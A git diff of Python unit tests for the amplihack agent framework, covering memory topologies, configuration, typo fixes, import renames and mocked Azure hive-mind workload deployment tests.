isinstance(s, dict) + mem.close() + + +# --------------------------------------------------------------------------- +# Memory facade — distributed topology +# --------------------------------------------------------------------------- + + +class TestDistributedTopology: + def test_creates_distributed_hive(self): + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + mem = Memory( + "dist-agent-1", + backend="cognitive", + topology="distributed", + ) + assert mem._hive is not None + mem.close() + + def test_shared_hive_passed_directly(self): + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + ) + + hive = DistributedHiveGraph(hive_id="shared-test-hive") + + mock_a = _make_mock_adapter() + mock_b = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_a): + mem_a = Memory("agent-a", backend="cognitive", shared_hive=hive) + with patch.object(Memory, "_build_cognitive", return_value=mock_b): + mem_b = Memory("agent-b", backend="cognitive", shared_hive=hive) + + assert mem_a._hive is hive + assert mem_b._hive is hive + + mem_a.close() + mem_b.close() + + def test_run_gossip_no_error_for_distributed(self): + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + mem = Memory( + "gossip-agent", + backend="cognitive", + topology="distributed", + ) + mem.run_gossip() # should not raise + mem.close() + + def test_run_gossip_no_error_for_single(self): + mem = _cognitive_memory("single-gossip") + mem.run_gossip() # no-op, should not raise + mem.close() + + def test_distributed_stats_includes_hive_stats(self): + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + mem = Memory( + "stats-dist-agent", + backend="cognitive", + topology="distributed", + ) + s = mem.stats() + assert "topology" in s + assert s["topology"] == "distributed" + mem.close() + + +class TestMultipleAgentsSharedHive: + def test_two_agents_share_same_hive_object(self): + from amplihack.agents.goal_seeking.hive_mind.hive_graph import InMemoryHiveGraph + + hive = InMemoryHiveGraph("multi-agent-hive") + + mock_a = _make_mock_adapter() + mock_b = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_a): + mem_a = Memory("alpha", backend="cognitive", shared_hive=hive) + with patch.object(Memory, "_build_cognitive", return_value=mock_b): + mem_b = Memory("beta", backend="cognitive", shared_hive=hive) + + assert mem_a._hive is mem_b._hive + + mem_a.close() + mem_b.close() + + +# --------------------------------------------------------------------------- +# Config env var integration with Memory constructor +# --------------------------------------------------------------------------- + + +class TestMemoryEnvVarConfig: + def test_env_backend_affects_config(self): + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_BACKEND": "cognitive"}): + mem = Memory("env-test-agent") + assert mem._cfg.backend == "cognitive" + mem.close() + + def test_env_topology_affects_config(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_TOPOLOGY": "single"}): + mem = _cognitive_memory("env-topo-agent") + assert mem._cfg.topology == "single" + mem.close() + + def test_explicit_kwarg_overrides_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_BACKEND": "hierarchical"}): + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + mem = Memory("override-agent", backend="cognitive") + assert mem._cfg.backend == "cognitive" + mem.close() diff --git a/tests/unit/memory/test_kuzu_retry.py b/tests/unit/memory/test_kuzu_retry.py deleted file mode 100644 index 3326d716f..000000000 --- a/tests/unit/memory/test_kuzu_retry.py +++ /dev/null @@ -1,87 +0,0 @@ -"""Tests for KuzuBackend._open_database_with_retry(). - -Validates exponential backoff retry on lock contention errors (issue #2834). -""" - -from pathlib import Path -from unittest.mock import MagicMock, patch - -import pytest - - -class TestOpenDatabaseWithRetry: - """Unit tests for the Kuzu DB retry logic.""" - - def test_succeeds_on_first_attempt(self): - """Normal case: DB opens on first try.""" - from amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_db = MagicMock() - with patch("amplihack.memory.backends.kuzu_backend.kuzu") as mock_kuzu: - mock_kuzu.Database.return_value = mock_db - result = KuzuBackend._open_database_with_retry(Path("/tmp/test.db")) - assert result == mock_db - assert mock_kuzu.Database.call_count == 1 - - def test_retries_on_lock_contention(self): - """Retries when lock error occurs, succeeds on retry.""" - from amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_db = MagicMock() - lock_error = RuntimeError("Could not set lock on file : /tmp/test.db") - - with patch("amplihack.memory.backends.kuzu_backend.kuzu") as mock_kuzu: - mock_kuzu.Database.side_effect = [lock_error, mock_db] - with patch("amplihack.memory.backends.kuzu_backend.time.sleep"): - result = KuzuBackend._open_database_with_retry( - Path("/tmp/test.db"), max_retries=3, base_delay=0.01 - ) - assert result == mock_db - assert mock_kuzu.Database.call_count == 2 - - def test_raises_after_max_retries(self): - """Raises RuntimeError after all retries exhausted.""" - from amplihack.memory.backends.kuzu_backend import KuzuBackend - - lock_error = RuntimeError("Could not set lock on file : /tmp/test.db") - - with patch("amplihack.memory.backends.kuzu_backend.kuzu") as mock_kuzu: - mock_kuzu.Database.side_effect = lock_error - with patch("amplihack.memory.backends.kuzu_backend.time.sleep"): - with pytest.raises(RuntimeError, match="Could not set lock"): - KuzuBackend._open_database_with_retry( - Path("/tmp/test.db"), max_retries=2, base_delay=0.01 - ) - # 1 initial + 2 retries = 3 total - assert mock_kuzu.Database.call_count == 3 - - def test_does_not_retry_non_lock_errors(self): - """Non-lock RuntimeErrors should propagate immediately.""" - from amplihack.memory.backends.kuzu_backend import KuzuBackend - - other_error = RuntimeError("Some other database error") - - with patch("amplihack.memory.backends.kuzu_backend.kuzu") as mock_kuzu: - mock_kuzu.Database.side_effect = other_error - with pytest.raises(RuntimeError, match="Some other database error"): - KuzuBackend._open_database_with_retry(Path("/tmp/test.db")) - # Should fail immediately, no retries - assert mock_kuzu.Database.call_count == 1 - - def test_exponential_backoff_delays(self): - """Verify exponential backoff: 0.2, 0.4, 0.8 seconds.""" - from amplihack.memory.backends.kuzu_backend import KuzuBackend - - lock_error = RuntimeError("Could not set lock on file : /tmp/test.db") - - with patch("amplihack.memory.backends.kuzu_backend.kuzu") as mock_kuzu: - mock_kuzu.Database.side_effect = lock_error - with patch("amplihack.memory.backends.kuzu_backend.time.sleep") as mock_sleep: - with pytest.raises(RuntimeError): - KuzuBackend._open_database_with_retry( - Path("/tmp/test.db"), max_retries=3, base_delay=0.2 - ) - # Should have slept 3 times with exponential delays - assert mock_sleep.call_count == 3 - delays = [call.args[0] for call in mock_sleep.call_args_list] - assert delays == [0.2, 0.4, 0.8] diff --git a/tests/unit/memory/test_memory_types.py b/tests/unit/memory/test_memory_types.py index 37693cd0e..c4b4b8ed9 100644 --- a/tests/unit/memory/test_memory_types.py +++ b/tests/unit/memory/test_memory_types.py @@ -1,11 +1,11 @@ -"""Unit tests fer memory type classification and validation. +"""Unit tests for memory type classification and validation. Tests memory type enums, classification logic, and schema validation -fer the 5 psychological memory types. +for the 5 psychological memory types. Philosophy: - Test type classification logic in isolation -- Validate schemas fer each memory type +- Validate schemas for each memory type - Test memory type conversions and comparisons """ @@ -15,7 +15,7 @@ # These imports will fail until implementation exists (TDD) try: - from amplihack.memory.types import ( + from amplihack.memory.models import ( EpisodicMemory, MemorySchema, MemoryType, @@ -56,7 +56,7 @@ class TestEpisodicMemory: """Test episodic memory schema and validation (What happened when).""" def test_episodic_memory_requires_timestamp(self): - """Episodic memories must have timestamp fer when they occurred.""" + """Episodic memories must have timestamp for when they occurred.""" with pytest.raises(ValueError, match="timestamp"): EpisodicMemory( content="User asked about auth", @@ -118,7 +118,7 @@ def test_semantic_memory_requires_concept(self): ) def test_semantic_memory_requires_confidence_score(self): - """Semantic memories need confidence score fer quality.""" + """Semantic memories need confidence score for quality.""" with pytest.raises(ValueError, match="confidence"): SemanticMemory( concept="Input Validation Pattern", @@ -169,7 +169,7 @@ def test_prospective_memory_requires_trigger(self): ) def test_prospective_memory_deadline_optional(self): - """Deadline is optional fer prospective memories.""" + """Deadline is optional for prospective memories.""" memory = ProspectiveMemory( task="Refactor auth module", trigger="after team review", diff --git a/tests/unit/memory/test_retrieval_pipeline.py b/tests/unit/memory/test_retrieval_pipeline.py index b32edc0a4..ede8c22f2 100644 --- a/tests/unit/memory/test_retrieval_pipeline.py +++ b/tests/unit/memory/test_retrieval_pipeline.py @@ -1,7 +1,7 @@ -"""Unit tests fer memory retrieval pipeline logic. +"""Unit tests for memory retrieval pipeline logic. Tests retrieval pipeline that selects and formats relevant memories -within token budget fer context injection. +within token budget for context injection. Philosophy: - Test retrieval logic in isolation (mock DB) @@ -23,7 +23,7 @@ RetrievalQuery, RetrievalResult, ) - from amplihack.memory.types import MemoryEntry, MemoryType + from amplihack.memory.models import MemoryEntry, MemoryType except ImportError: pytest.skip("Retrieval pipeline not implemented yet", allow_module_level=True) @@ -85,7 +85,7 @@ def test_retrieval_query_with_time_range(self): assert query.time_range[1] == now def test_retrieval_query_with_context(self): - """Query can include context fer better matching.""" + """Query can include context for better matching.""" query = RetrievalQuery( query_text="Fix authentication bug", token_budget=5000, @@ -180,14 +180,14 @@ class TestRetrievalPipeline: @pytest.fixture def mock_db(self): - """Mock database fer testing.""" + """Mock database for testing.""" db = Mock() db.search.return_value = [] return db @pytest.fixture def sample_memories(self): - """Sample memories fer testing.""" + """Sample memories for testing.""" return [ MemoryEntry( id="mem-1", @@ -219,7 +219,7 @@ def test_retrieval_pipeline_creation(self, mock_db): @pytest.mark.asyncio async def test_retrieve_relevant_memories(self, mock_db, sample_memories): - """Retrieve relevant memories fer query.""" + """Retrieve relevant memories for query.""" mock_db.search.return_value = sample_memories pipeline = RetrievalPipeline(database=mock_db) @@ -399,7 +399,7 @@ def test_retrieval_result_get_by_type(self): class TestContextFormatter: - """Test context formatting fer injection.""" + """Test context formatting for injection.""" def test_format_memories_fer_injection(self): """Format memories into context string.""" diff --git a/tests/unit/memory/test_storage_pipeline.py b/tests/unit/memory/test_storage_pipeline.py index 35b24cc5d..60f92731f 100644 --- a/tests/unit/memory/test_storage_pipeline.py +++ b/tests/unit/memory/test_storage_pipeline.py @@ -1,4 +1,4 @@ -"""Unit tests fer memory storage pipeline logic. +"""Unit tests for memory storage pipeline logic. Tests storage pipeline that reviews content with multiple agents before persisting to database. @@ -25,7 +25,7 @@ StorageRequest, StorageResult, ) - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType except ImportError: pytest.skip("Storage pipeline not implemented yet", allow_module_level=True) @@ -210,12 +210,12 @@ class TestStoragePipeline: @pytest.fixture def mock_db(self): - """Mock database fer testing.""" + """Mock database for testing.""" return Mock() @pytest.fixture def mock_task_tool(self): - """Mock Task tool fer agent invocation.""" + """Mock Task tool for agent invocation.""" return AsyncMock() def test_storage_pipeline_creation(self, mock_db): @@ -225,7 +225,7 @@ def test_storage_pipeline_creation(self, mock_db): @pytest.mark.asyncio async def test_store_with_review_invokes_agents(self, mock_db, mock_task_tool): - """Storage pipeline invokes multiple agents fer review.""" + """Storage pipeline invokes multiple agents for review.""" pipeline = StoragePipeline(database=mock_db) # Mock agent responses @@ -300,7 +300,7 @@ async def test_store_with_review_rejects_low_quality(self, mock_db): @pytest.mark.asyncio async def test_store_parallel_agent_review(self, mock_db): - """Agent reviews execute in parallel fer performance.""" + """Agent reviews execute in parallel for performance.""" import time pipeline = StoragePipeline(database=mock_db) @@ -322,7 +322,7 @@ async def slow_review(*args, **kwargs): # With 3 agents @ 100ms each: # Sequential: ~300ms # Parallel: ~100ms - # Allow some overhead but should be <200ms fer parallel + # Allow some overhead but should be <200ms for parallel assert duration < 0.2 @pytest.mark.asyncio @@ -382,7 +382,7 @@ class TestStorageResult: """Test StorageResult data structure.""" def test_storage_result_success(self): - """StorageResult fer successful storage.""" + """StorageResult for successful storage.""" result = StorageResult( stored=True, memory_id="mem-123", @@ -396,7 +396,7 @@ def test_storage_result_success(self): assert len(result.reviews) == 1 def test_storage_result_rejection(self): - """StorageResult fer rejected content.""" + """StorageResult for rejected content.""" result = StorageResult( stored=False, rejection_reason="below_threshold", diff --git a/tests/unit/memory/test_token_budget.py b/tests/unit/memory/test_token_budget.py index ad6642149..134609d6b 100644 --- a/tests/unit/memory/test_token_budget.py +++ b/tests/unit/memory/test_token_budget.py @@ -1,4 +1,4 @@ -"""Unit tests fer token budget enforcement in memory retrieval. +"""Unit tests for token budget enforcement in memory retrieval. Tests token counting, budget allocation, and enforcement logic to ensure memory injection stays within 8000 token limit. @@ -21,13 +21,13 @@ estimate_tokens, ) - from amplihack.memory.types import MemoryEntry, MemoryType + from amplihack.memory.models import MemoryEntry, MemoryType except ImportError: pytest.skip("Token budget not implemented yet", allow_module_level=True) class TestTokenCounter: - """Test token counting fer different content types.""" + """Test token counting for different content types.""" def test_count_empty_string(self): """Empty string is 0 tokens.""" diff --git a/tests/unit/memory/test_trivial_filter.py b/tests/unit/memory/test_trivial_filter.py index a94b04e94..24a7c73e2 100644 --- a/tests/unit/memory/test_trivial_filter.py +++ b/tests/unit/memory/test_trivial_filter.py @@ -1,11 +1,11 @@ -"""Unit tests fer trivial content filtering logic. +"""Unit tests for trivial content filtering logic. Tests pre-filter logic that rejects low-value content before storage pipeline to save processing time. Philosophy: - Fast rejection of obvious trivial content -- Clear rules fer what constitutes trivial +- Clear rules for what constitutes trivial - Transparent filtering decisions """ @@ -115,7 +115,7 @@ class TestDocumentationCheck: def test_documented_fact_is_trivial(self): """Information directly from docs is trivial to store.""" - content = "amplihack uses specialized agents fer different tasks" + content = "amplihack uses specialized agents for different tasks" docs_content = [ "amplihack architecture uses specialized agents", "different agents handle different tasks", @@ -133,7 +133,7 @@ def test_new_insight_not_trivial(self): def test_rephrased_documentation_is_trivial(self): """Rephrasing of existing docs is trivial.""" - content = "Agents in amplihack are specialized fer specific tasks" + content = "Agents in amplihack are specialized for specific tasks" docs_content = [ "amplihack uses specialized agents", "each agent handles specific tasks", @@ -158,7 +158,7 @@ def test_print_statement_output_trivial(self): def test_meaningful_log_not_trivial(self): """Meaningful log with error info not trivial.""" - assert not is_temporary_debug("ERROR: Authentication failed fer user john@example.com") + assert not is_temporary_debug("ERROR: Authentication failed for user john@example.com") assert not is_temporary_debug("WARNING: Rate limit approaching (90% capacity)") def test_stack_trace_not_trivial(self): @@ -179,7 +179,7 @@ class TestFilterResult: """Test FilterResult data structure.""" def test_filter_result_not_trivial(self): - """FilterResult fer non-trivial content.""" + """FilterResult for non-trivial content.""" result = FilterResult( is_trivial=False, reason=None, @@ -190,7 +190,7 @@ def test_filter_result_not_trivial(self): assert result.should_store() def test_filter_result_trivial_with_reason(self): - """FilterResult fer trivial content includes reason.""" + """FilterResult for trivial content includes reason.""" result = FilterResult( is_trivial=True, reason=FilterReason.SIMPLE_GREETING, @@ -207,7 +207,7 @@ def test_filter_result_confidence_threshold(self): reason=FilterReason.SIMPLE_GREETING, confidence=0.3, # Low confidence ) - # With low confidence, allow storage fer agent review + # With low confidence, allow storage for agent review assert result.should_store_despite_low_confidence() diff --git a/tests/verify_harness_setup.py b/tests/verify_harness_setup.py index b12e7d3f6..fbe24ab69 100755 --- a/tests/verify_harness_setup.py +++ b/tests/verify_harness_setup.py @@ -123,7 +123,7 @@ def count_tests(): ) if result.returncode == 0: - # Look fer line like "39 tests collected" + # Look for line like "39 tests collected" for line in result.stdout.split("\n"): if "test" in line and "collected" in line: print(f"✓ {line.strip()}") diff --git a/tests/workloads/__init__.py b/tests/workloads/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/tests/workloads/test_hive_workload.py b/tests/workloads/test_hive_workload.py new file mode 100644 index 000000000..4e0ce4e73 --- /dev/null +++ b/tests/workloads/test_hive_workload.py @@ -0,0 +1,307 @@ +"""Tests for HiveMindWorkload and hive event types. + +These tests run without Azure credentials or agent-haymaker installed +by using lightweight mocks. Integration tests that need real Azure +resources are marked with @pytest.mark.integration. +""" + +from __future__ import annotations + +from typing import Any +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_mock_platform() -> MagicMock: + """Create a mock Platform with in-memory state storage.""" + platform = MagicMock() + storage: dict[str, Any] = {} + + async def save(state: Any) -> None: + storage[state.deployment_id] = state + + async def load(deployment_id: str) -> Any: + return storage.get(deployment_id) + + async def list_deps(workload_name: str) -> list: + return [s for s in storage.values() if s.workload_name == workload_name] + + platform.save_deployment_state = AsyncMock(side_effect=save) + platform.load_deployment_state = AsyncMock(side_effect=load) + platform.list_deployments = AsyncMock(side_effect=list_deps) + platform.get_credential = AsyncMock(return_value=None) + platform.publish_event = AsyncMock() + platform.log = MagicMock() + platform._storage = storage + return platform + + +# --------------------------------------------------------------------------- +# Event topic tests +# --------------------------------------------------------------------------- + + +def test_hive_event_topics_defined() -> None: + """All hive event topics must be defined with the correct namespace.""" + from amplihack.workloads.hive.events import ( + ALL_HIVE_TOPICS, + HIVE_AGENT_READY, + HIVE_FEED_COMPLETE, + HIVE_LEARN_CONTENT, + HIVE_QUERY, + HIVE_QUERY_RESPONSE, + ) + + assert HIVE_LEARN_CONTENT == "hive.learn_content" + assert HIVE_FEED_COMPLETE == "hive.feed_complete" + assert HIVE_AGENT_READY == "hive.agent_ready" + assert HIVE_QUERY == "hive.query" + assert HIVE_QUERY_RESPONSE == "hive.query_response" + assert len(ALL_HIVE_TOPICS) == 5 + + +def test_hive_event_factories_without_haymaker() -> None: + """Event factory helpers must raise ImportError gracefully when agent-haymaker absent.""" + from amplihack.workloads.hive.events import ( + make_agent_ready_event, + make_feed_complete_event, + make_learn_content_event, + make_query_event, + make_query_response_event, + ) + + # With agent-haymaker available (from /tmp/agent-haymaker installed path) + try: + import sys + sys.path.insert(0, "/tmp/agent-haymaker/src") + + evt = make_learn_content_event("dep-001", "test content", 0) + assert evt.topic == "hive.learn_content" + assert evt.deployment_id == "dep-001" + assert evt.data["content"] == "test content" + assert evt.data["turn"] == 0 + + evt2 = make_feed_complete_event("dep-001", total_turns=100) + assert evt2.topic == "hive.feed_complete" + assert evt2.data["total_turns"] == 100 + + evt3 = make_agent_ready_event("dep-001", "agent-0") + assert evt3.topic == "hive.agent_ready" + assert evt3.data["agent_name"] == "agent-0" + + evt4 = make_query_event("dep-001", "q001", "What is CVE-2021-44228?") + assert evt4.topic == "hive.query" + assert evt4.data["query_id"] == "q001" + + evt5 = make_query_response_event("dep-001", "q001", "agent-0", "CVSS 10.0") + assert evt5.topic == "hive.query_response" + assert evt5.data["answer"] == "CVSS 10.0" + + except ImportError: + pytest.skip("agent-haymaker not available for event factory tests") + + +# --------------------------------------------------------------------------- +# HiveMindWorkload unit tests +# --------------------------------------------------------------------------- + + +def test_hive_mind_workload_name() -> None: + """HiveMindWorkload.name must be 'hive-mind'.""" + try: + from amplihack.workloads.hive import HiveMindWorkload + + assert HiveMindWorkload.name == "hive-mind" + except ImportError as exc: + pytest.skip(f"agent-haymaker not available: {exc}") + + +def test_hive_mind_workload_inherits_workload_base() -> None: + """HiveMindWorkload must inherit WorkloadBase.""" + try: + from agent_haymaker.workloads.base import WorkloadBase + from amplihack.workloads.hive import HiveMindWorkload + + assert issubclass(HiveMindWorkload, WorkloadBase) + except ImportError as exc: + pytest.skip(f"agent-haymaker not available: {exc}") + + +def test_deploy_returns_deployment_id() -> None: + """deploy() must return a deployment_id string starting with 'hive-'.""" + try: + import asyncio + import sys + sys.path.insert(0, "/tmp/agent-haymaker/src") + from agent_haymaker.workloads.models import DeploymentConfig + + from amplihack.workloads.hive import HiveMindWorkload + except ImportError as exc: + pytest.skip(f"agent-haymaker not available: {exc}") + + platform = _make_mock_platform() + workload = HiveMindWorkload(platform=platform) + + async def _run() -> str: + with patch.object(workload, "_deploy_single_container", new_callable=AsyncMock) as mock_deploy: + mock_deploy.return_value = {"app_name": "hive-test-c00"} + + config = DeploymentConfig( + workload_name="hive-mind", + workload_config={ + "num_containers": 2, + "agents_per_container": 3, + "image": "myacr.azurecr.io/hive-agent:latest", + "resource_group": "rg-test", + "subscription_id": "sub-12345", + "service_bus_connection_string": "", + "agent_prompt": "You are a test agent.", + }, + ) + + deployment_id = await workload.deploy(config) + + assert deployment_id.startswith("hive-") + assert mock_deploy.call_count == 2 # one per container + assert platform.save_deployment_state.called + return deployment_id + + deployment_id = asyncio.run(_run()) + assert deployment_id.startswith("hive-") + + +def test_stop_updates_state() -> None: + """stop() must update deployment status to STOPPED.""" + try: + import asyncio + import sys + sys.path.insert(0, "/tmp/agent-haymaker/src") + from agent_haymaker.workloads.models import ( + DeploymentState, + DeploymentStatus, + ) + + from amplihack.workloads.hive import HiveMindWorkload + except ImportError as exc: + pytest.skip(f"agent-haymaker not available: {exc}") + + platform = _make_mock_platform() + workload = HiveMindWorkload(platform=platform) + + from datetime import UTC, datetime + + state = DeploymentState( + deployment_id="hive-abc123", + workload_name="hive-mind", + status=DeploymentStatus.RUNNING, + phase="running", + started_at=datetime.now(tz=UTC), + config={}, + metadata={ + "container_apps": ["hive-abc123-c00", "hive-abc123-c01"], + "resource_group": "rg-test", + "subscription_id": "sub-12345", + }, + ) + + async def _run() -> None: + await platform.save_deployment_state(state) + + with patch.object(workload, "_scale_app", new_callable=AsyncMock) as mock_scale: + mock_scale.return_value = True + + result = await workload.stop("hive-abc123") + + assert result is True + assert mock_scale.call_count == 2 + + saved = await platform.load_deployment_state("hive-abc123") + assert saved.status == DeploymentStatus.STOPPED + + asyncio.run(_run()) + + +def test_cleanup_deletes_apps() -> None: + """cleanup() must delete all container apps and return a CleanupReport.""" + try: + import asyncio + import sys + sys.path.insert(0, "/tmp/agent-haymaker/src") + from agent_haymaker.workloads.models import ( + DeploymentState, + DeploymentStatus, + ) + + from amplihack.workloads.hive import HiveMindWorkload + except ImportError as exc: + pytest.skip(f"agent-haymaker not available: {exc}") + + platform = _make_mock_platform() + workload = HiveMindWorkload(platform=platform) + + from datetime import UTC, datetime + + state = DeploymentState( + deployment_id="hive-xyz789", + workload_name="hive-mind", + status=DeploymentStatus.RUNNING, + phase="running", + started_at=datetime.now(tz=UTC), + config={}, + metadata={ + "container_apps": ["hive-xyz789-c00", "hive-xyz789-c01", "hive-xyz789-c02"], + "resource_group": "rg-test", + "subscription_id": "sub-12345", + }, + ) + + async def _run() -> None: + await platform.save_deployment_state(state) + + with patch.object(workload, "_delete_container_app", new_callable=AsyncMock) as mock_delete: + mock_delete.return_value = True + + report = await workload.cleanup("hive-xyz789") + + assert report.deployment_id == "hive-xyz789" + assert report.resources_deleted == 3 + assert report.resources_failed == 0 + assert mock_delete.call_count == 3 + + asyncio.run(_run()) + + +# --------------------------------------------------------------------------- +# amplihack.agent public API +# --------------------------------------------------------------------------- + + +def test_amplihack_agent_module_exports() -> None: + """amplihack.agent must export the stable public API.""" + from amplihack.agent import ( + AgenticLoop, + CognitiveAdapter, + GoalAgentGenerator, + LearningAgent, + Memory, + ) + + assert LearningAgent is not None + assert CognitiveAdapter is not None + assert AgenticLoop is not None + assert Memory is not None + assert GoalAgentGenerator is not None + + +def test_amplihack_agent_learning_agent_is_canonical() -> None: + """amplihack.agent.LearningAgent must be the same class as agents.goal_seeking.LearningAgent.""" + from amplihack.agent import LearningAgent as PublicLearningAgent + from amplihack.agents.goal_seeking import LearningAgent as InternalLearningAgent + + assert PublicLearningAgent is InternalLearningAgent